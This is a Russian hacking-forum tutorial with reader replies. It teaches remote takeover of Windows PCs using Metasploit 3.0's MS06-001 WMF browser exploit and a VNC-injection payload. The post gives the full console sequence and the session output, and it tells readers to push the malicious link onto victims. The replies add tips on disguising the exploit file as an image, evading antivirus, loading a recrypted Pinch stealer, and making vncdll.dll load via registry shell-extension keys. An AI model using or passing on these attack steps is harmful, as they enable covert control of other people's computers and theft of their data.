TotalControl (учимся юзать VNC или MSF 3.0 часть 5). Предисловие. Кто не знает что такое MSF 3.0 читайте статьи 1-4. Долго ждали релиза Metasploit Framework 3.0 и наконец-то дождались! Рекомендую к прочтению пользовательский мануал на русском, любезно переведённый n0ne. читать мануал В релизе очень много изменений, по сравнению даже с версией 3.0 beta 3. Остановлюсь на нескольких главных: 1.) Все сплоиты переписаны на Ruby, самих сплоитов естественно больше, уже 186 (после апдейта). 2.) Сплоиты лежат в подпапках по типам целей (уязвимых систем, браузеров, сервисов и т.п), при использовании надо указывать полный путь (копипастим, после команды show exploits нужный сплоит, чтоб не набирать). 3.) Консоль перенесена полностью в веб-интерфейс и сделана на javascript. 4.) Добавлены многофункциональные начинки по механизму соединения: PassiveX, по функционалу: Meterpreter, Win32 DLL Injection, VNC сервера, также добавлены генераторы (обсфускаторы) кода сплоитов. 5.) Добавлена поддержка SOCKS и HTTP прокси (стабильна цепочка до 5 - говорят в мануале, но нам и одного анонимного хватит). 6.) Тут будут добавления... Сразу скажу о главном недостатке: Так как используется интерпретатор Ruby+ эмуляция консоли в WEB-интерфейсе - наблюдаются ощутимые тормоза при работе в консоли. Для меня актуально, так как весь пакет у меня стоит ещё в добавок в гостевой ОС, но если вы поставите его в основную систему то наверно дискомфорта можете и не заметить. Виртуальная система по производительности соответствует Pentium-II-433 с 512 RAM - так, что обладатели старых компьютеров тоже могут ощутить медленную работу в WEB-интерфейсе. Жаль, что не оставили просто консоль (может где-то и есть, надо просто покопаться). 1. Обзор необычных, продвинутых, многофунциональных начинок. а) PassiveX - ну об этом типе начинок я не писал ещё, обратимся к ману и посмотрим, чем хорош этот тип начинки. Ага грузит произвольный элемент управления ActiveX. Начинки такого типа патчат реестр системы цели и заставляют взломанный процесс запустить браузер с URL, который соединится с Framework. Вообщем комп жертвы становится веб-сервером, который может принимать и отправляет запросы. Взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX. В дополнение к начальной начинке PassiveX модуля прилагаются ещё три (Meterpreter, Win32 DLL Injection, VNC сервер). Когда мы используем любую начинку этого типа, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом по HTTP трафику. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0). Вообщем специфичный тип начинок, прокатит только, где есть Осёл 6.0. Хотя механизм очень интересен. б) Meterpreter - ну я уже о нем писал в 4 части статей по MSF, тут всё остаётся так же. Скажу только, то, что это продвинутый шелл, который позволяет расширять свой функционал динамически, т. е. когда мы в нём, ну типа автоапдейта (обновляет сам себя). Ну немного повторюсь и рассмотрю подробнее этот тип начинок: делаем show payloads в консоли и смотрим: Вобщем отличие как в способе соединения (имеем 3 шт. back-connect варианта начинки meterpreter) + 1 простой бинд порта. Туннелирование, как вы поняли, позволит нам обойти фильтрацию файрволов по типу трафика но если нет на целевой системе Осла - нам ничего не даст (см. описание механизма. соединения PassiveX выше). Вообщем на этом типе начинок, я останавливаться подробно не буду, так как было описано в предыдущей статье. в) Win32 DLL Injection - Читающим статьи Криса Касперски должно быть известно такое название. Вобщем этот тип начинок способен внедрить в память любую DLL в комбинации с любым Win32 эксплоитом в память взломанного процесса. Эти начинки не записывают ничего на диск DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC. Ну да инжект рулит, внедрение в процесс, тут тебе и обход файрволов и т. д. (правда если есть контроль компонентов то запалится). Вообщем делайте свою DLL и можете закинуть на комп жертвы! А можно и выбрать какую либо, например бажную и взломать уже через её повторно. . Я на этом подробно отсанавливаться не буду, так как больший интерес этот тип начинок представляет для тех, кто кодит и пишет свои dll. г) VNC сервер - самое "вкусное" - это не что иное как удалённый рабочий стол с обычным привычным интерфейсом, таким как у сервера терминалов или Радмина! Тут используется механизм инжектирования dll во взломанный процесс (см. метод описанный выше). Но саму dll нам уже предоставили! Она и выполняет функции VNC-сервера - передаёт нам содержимое рабочего стола взломанного компа. Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пытаться получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only режим. То есть в этом режиме мы сможем только просматривать содержимое рабочего стола (как режим view у Радмина) . Если получим полный доступ то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилегированный пользователь, а взломанный сервис имеет привилегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe-проводника.. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Есть несколько ситуаций, когда VNC-сервер не будет работать. Вообщем если переменные окружения взломанной системы имеют специфические значения, которые критичны для эксплоита или метода внедрения, то облом! 3. Практическое использование VNC-сервера (инжект vncdll.dll во взломанный процесс). 1. Запускаем пакет MSF. грузится долго у меня в гостевой ОС. Выключим KIS 6.0 чтоб не надоедал (проактивная защита) 2. Топаем на Вебсервер метасплоита, запускаем консоль. Code: Welcome to the Metasploit Web Console! ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ msf v3.0 + -- --=[ 186 exploits - 104 payloads + -- --=[ 17 encoders - 5 nops =[ 33 aux 3. смотрим сплоиты... Code: >> show exploits Exploits ======== Name Description ------- пропущено ----------- windows/browser/ms06_001_wmf_setabortproc Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution windows/browser/ie_createobject Internet Explorer COM CreateObject Code Execution windows/browser/ie_iscomponentinstalled Internet Explorer isComponentInstalled Overflow ---- пропущено ----- 4. Выбираем WMF-сплоит... Code: use windows/browser/ms06_001_wmf_setabortproc 5. Смотрим инфу по нём: Code: info windows/browser/ms06_001_wmf_setabortproc Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution Version: 4647 Platform: Windows Privileged: No License: Metasploit Framework License Provided by: hdm <[email protected]> san <[email protected]> O600KO78RUS <[email protected]> Available targets: Id Name -- ---- 0 Windows XP/2003/Vista Automatic Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 10.0.3.84 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. URIPATH no The URI to use for this exploit (default is random) Payload information: Space: 1220 Avoid: 1 characters Description: This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request. References: http://www.microsoft.com/technet/security/bulletin/MS06-001.mspx http://www.securityfocus.com/bid/16074 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-4560 http://www.osvdb.org/21987 http://milw0rm.com/metasploit/111 http://www.microsoft.com/technet/security/advisory/912840.mspx http://wvware.sourceforge.net/caolan/ora-wmf.html http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt 6. Задаём необходимые параметры: Code: >> set LHOST 10.0.3.84 LHOST => 10.0.3.84 >> set URIPATH sploit URIPATH => sploit 7. Смотрим начинки... Code: >> show payloads Compatible payloads =================== Name Description -------------- пропущено ------------------------- Stager windows/upexec/reverse_tcp Windows Upload/Execute, Reverse TCP Stager windows/vncinject/bind_tcp Windows VNC Inject, Bind TCP Stager windows/vncinject/reverse_http Windows VNC Inject, PassiveX Reverse HTTP Tunneling Stager windows/vncinject/reverse_ord_tcp Windows VNC Inject, Reverse Ordinal TCP Stager windows/vncinject/reverse_tcp Windows VNC Inject, Reverse TCP Stager 8. windows/vncinject/reverse_tcp - самое то, это и есть VNC сервер, который мы инжектируем во взломанный процесс. Выбираем это начинку: Code: >> set PAYLOAD windows/vncinject/reverse_tcp PAYLOAD => windows/vncinject/reverse_tcp 9. Всё готово, можно коммандовать exploit! Code: >> exploit [*] Started reverse handler [*] Using URL: http://10.0.3.84:8080/sploit [*] Server started. [*] Exploit running as background job. 10. Впариваем ссылку на страницу, поднятую метасплоитом, которая будет эксплуатировать уязвимость системной библиотеки в обработке метафайлов. Code: [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (340049 bytes)... [*] Upload completed. [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vnciewer in the background. [*] VNC Server session 1 opened (10.0.3.84:4444 -> 10.0.3.118:1052) 11. Ага, клиент попался... запустим VNCViewer из Tools и приконнектимся к взломанной машине. Вот так мы взломали удалённо компьютер юзверя и получили удалённый рабочий стол с возможностью выполнения комманд. Примечательно, то что сервер VNC невиден в процессах, так как он исполнен в виде dll, которая инжектированна в взломанный процесc run32dll.exe - и он будет жить до тех пор, пока не грохнут родителя (run32dll.exe). 4. Заключение. Вот так мы испытали технику инжектирования dll во взломанный процесс и удачно получили доступ к рабочему столу юзверя. Снял видео по взлому, кому интересно качать тут (55 метров в ахиве) -=lebed=- (с) специально для Античат. отдельное спасибо n0ne за перевод мануала MSF 3.0 (использовал инфу с его перевода мануала MSF 3.0) Кстать n0ne, как там дела с переводом мана для разработчиков?
за статью +1 Ты кстати не знаешь, как это vnc inject замутить руками, имея только cmd шелл, ипользуя например ту же самую vncdll.dll
dll надо подгрузить к чему-то, к какому либо процессу. А нафиг так делать, я не монял, если есть шелл подгружай что хочешь, хоть VNC-сервер нормальный (не переделанный в dll). Вообщем как сделать через обычный шелл cmd - я пока не знаю, не уверен, что это возможно. Вот только если подменить какую стандарную dll, на эту...
Ну не только cmd шелл, еще файлы загружать в систему можно. Просто я не особо шарю в таком, интересно было узнать, как написать exe-шник, который грузит в память эту dll-ку и запускает vnc. Просто есть фишки, которые через cmd шелл не сделаешь, а через vnc в самый раз
Млин, а я про что тут писал? Про ПРОДВИНУТЫЕ НАЧИНКИ! Тут тебе и инжект и пассивХ и VNC-инжект! Загрузить файлы в систему и исполнить exe - используй такую начинку (кликай по цифре 2 у меня в подписи и читай). А уж какой exe будет грузится с инжектом или нет - это другое дело, бери Пинча и грузи (тока перекриптуй хорошо, на сколько мне известно он инжект использует).
Я тут немного о другом спрашивал, а именно код программы которая при запуске будет грузить эту длл-ку в память (не используя маетасплоит)
Млин, снял видео по взлому по этой статье. 55 метров получилось в архиве! наверно из-за того, что 1280x1024 сделал, куда мона это хозяйство залить? Щас перекодирую, правда в качестве потеряю...
Там его много по MSF - я знаю, ссыли сам на него давал... чёт не могу найти норм конвертер, щас на рапиду залью видео...
Залил на Рапиду, качайте (линк в статье) или вот он http://rapidshare.com/files/27458303/VNC-______.zip
Мануал постараюсь доделать до 13 мая, если не получица, то уже в июне. уже где-то 60% готово А за статью респект. мне понра
Все ьы хорошо, если бы еще работало гладко, сам wmf файл у меня не загружается, осел блокирует его, и приходится самому открывать заблокированное окно и нажать Открыть. Кстати когде я пробовал делать такую же фишку с трояном (начинка window/download_exec), то там тоже все работало, но подтвержадать надо вручную..., а если врубить Каспера или Фаер дак вообще шансов ноль..., малоэффективная вещь...
А ты в курсе, что этот WMF файлик содержит и сам сплоит и начинку и его расширение можно переименовать в любое другое графическое (JPG, PNG, GIF) и он будет так же работать. Ну а впарить этот файл намного легче - так как он картинка. Что до антивирусов - конечно они палят паблик сплоит. Используй более свежие сплоиты...
Вообщем пробовал я локально поднять VNC-сервер состоящий из одной dll (vncdll.dll). Для этого я создал reg-файл следующего содержания (для того чтоб dll подгружалась, как расширение основной оболочки): Code: Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\CLSID\{EBDF1F20-C829-9999-8233-0020AF3E97A9}\InProcServer32] @="C:\\WINDOWS\\system32\\vncdll.dll" "ThreadingModel"="Apartment" [HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Vnc] @="{EBDF1F20-C829-9999-8233-0020AF3E97A9}" [HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\Vnc] @="{EBDF1F20-C829-9999-8233-0020AF3E97A9}" Положил dll в system32, проверил - dll подгрузилась к Total Commander, но порт не открылся, соответственно нет коннекта вьювером. В случае, если пользоваться MSF - то dll-ка успешно инжектируется во взломанный процесс и всё работает. Вообщем как поднять полноценный удалённый рабочий стол с помощью этой dll ? В чём трабл?
Хоел спросит у тебя о том же. Может какая-то их Export-функций отвечает за поднятие серваера. Я пробовал вызвать init без параметров. Открылать синее окно cmd Но порт не слушаеться. Lebed, появились какие-нибудь идеи за это время?
народ сори за ламерство конечно! Но я че то ваще ниче не понимаю кароч сделал я ядовитую ссылку впарил её пишет : Code: [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (340049 bytes)... [*] Upload completed. [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vnciewer in the background. [*] VNC Server session 1 opened (10.195.4.62:4444 -> 10.244.7.84:3709) [*] Upload completed. [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vnciewer in the background. вроде все норм да?! а вот зайти никак не могу на шелл ! че делать?? если можно поподробнее плиззз Да и как сделать что б антивирь не орал???
1. sessions -i 1 в консоли набери. 2. Попробуй запустить вьювер в ручную и одключится к взломанному компу. Launched vnciewer in the background. ~ Вьювер запущен на заднем плане..
У меня накопилось несколько вопросов по 3ей версии. ответте пожайлуста. 1) у меня адсл. вседствие чего адрес внешний\внутренний. >> set LHOST 192.168.1.** (ввёл локальный адрес ) LHOST => 192.168.1.33 >> exploit [*] Started reverse handler [*] Using URL: http://192.168.1.33:8080/9mcvPzU4ex(эта ссылка не запустилась у человека который сидит у моего же провайдера) [*] Server started. [*] Exploit running as background job. >> set LHOST 88.147.173.*** (попробовал ввести внешний IP) LHOST => 88.147.173.190 >> exploit [*] Started reverse handler [*] Using URL: http://192.168.1.33:8080/EoUUDsz5V(всё равно прописываеться внутренний!) [*] Server started. [*] Exploit running as background job. P/S. я слышал что возможно нужн овключить переадресацию NAT с внешнего на внутренний. только как это сделать?(ADSL zyxel 660 ru) 2) >> set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf exploit(ms06_001_wmf_setabortproc) >( в более ранних версиях вроде указывалась начинка. в 3 не указываеться?или я делаю что то не так?) P/S Пробовал даже сам на себя заходить с IE6 (SP2) c lдругой учётки. Файл скачался,но шела не появилось.Обьясните\помогите пожайлуста. p.p\s. тут вы сказали что файлик со сплойтом можн опереименовать..А есть параметр для задания его имени?